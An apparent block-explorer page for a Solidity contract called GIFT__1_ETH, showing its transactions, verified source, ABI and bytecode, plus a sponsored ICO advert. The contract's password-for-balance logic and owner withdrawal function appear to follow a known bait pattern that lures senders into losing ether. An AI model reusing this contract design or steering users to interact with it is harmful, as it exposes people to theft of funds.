Sponsored Link:   WELL – WORKING HEALTHCARE U.S. PLATFORM - RAISED $3M IN PRE-ICO – JOIN NOW WITH 40% BONUS
Contract Overview
ETH Balance: 0 Ether
ETH USD Value: $0
No Of Transactions: 2 txns
  Latest 2 txns

TxHash Age From To Value [TxFee]
0x22dd856046332af8955e66dab95564d0567982f0195ff9c7ae922f658fcf66288 days 7 hrs ago0xc0bd03102103b5e866242514c323c8a7f44479ac  IN   0x9bdb9d9bd3e348d93453400e46e71dd519c605031.00000007342888 Ether0.000048252
0x1007d37f72206570b7cbf4d2c0ff487fb065b4917cdbeb0f11b7337c317b5c098 days 7 hrs ago0xc0bd03102103b5e866242514c323c8a7f44479ac  IN    Contract Creation0 Ether0.000749158
[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
  Latest 1 Internal Transaction

ParentTxHash Block Age From To Value
0x126b2f4608658a8d394931a61f42b4c4974579921599256985f658313f49fa5450871827 days 20 hrs ago0x9bdb9d9bd3e348d93453400e46e71dd519c605030x76ddf37e9418d5251e7c254a6dabb062027328ba1.00000007342888 Ether
[ Download CSV Export  ] 
Contract Source Code Verified
Contract Name: GIFT__1_ETH
Compiler Version: v0.4.19+commit.c4cbbb05
Optimization Enabled: No
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts
pragma solidity ^0.4.19;

contract GIFT__1_ETH
{
    bool passHasBeenSet = false;
    
    address sender;
    
    bytes32 public hashPass;
	
	function() public payable{}
    
    function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);}
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 )
        {
            hashPass = hash;
            sender = msg.sender;
        }
    }
    
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function Revoce()
    public
    payable
    {
        if(msg.sender==sender)
        {
            sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(msg.sender==sender&&hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

    Contract ABI  
[{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"SetPass","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"PassHasBeenSet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"hashPass","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Revoce","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

  Contract Creation Code Switch To Opcodes View
606060405260008060006101000a81548160ff021916908315150217905550341561002957600080fd5b6104a3806100386000396000f300606060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461007a578063181ffc5f1461009657806331fd725a146100b957806387f24484146100e0578063b456ecc514610111578063cd8b02c81461018a575b005b610094600480803560001916906020019091905050610194565b005b6100b760048080359060200190820180359060200191909192905050610220565b005b34156100c457600080fd5b6100de6004808035600019169060200190919050506102aa565b005b34156100eb57600080fd5b6100f3610333565b60405180826000191660001916815260200191505060405180910390f35b341561011c57600080fd5b61016c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610339565b60405180826000191660001916815260200191505060405180910390f35b6101926103a5565b005b6000809054906101000a900460ff161580156101b75750670de0b6b3a764000034115b806101cb5750600060010260015460001916145b1561021d57806001816000191690555033600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b8181604051808383808284378201915050925050506040518091039020600019166001546000191614156102a6573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102a557600080fd5b5b5050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156103105750600154600019168160001916145b156103305760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b602083101515610371578051825260208201915060208101905060208303925061034c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561047557600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561047457600080fd5b5b5600a165627a7a72305820d8d266dd5470f77ce819f5e5ec5c6247ebf5e5fe15899a696448f6c098e8654d0029

   Swarm Source:
bzzr://d8d266dd5470f77ce819f5e5ec5c6247ebf5e5fe15899a696448f6c098e8654d

 

View All
Block Age txn Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward
Make sure to use the "downvote" button for any spammy posts, and the "upvote" for interesting conversations.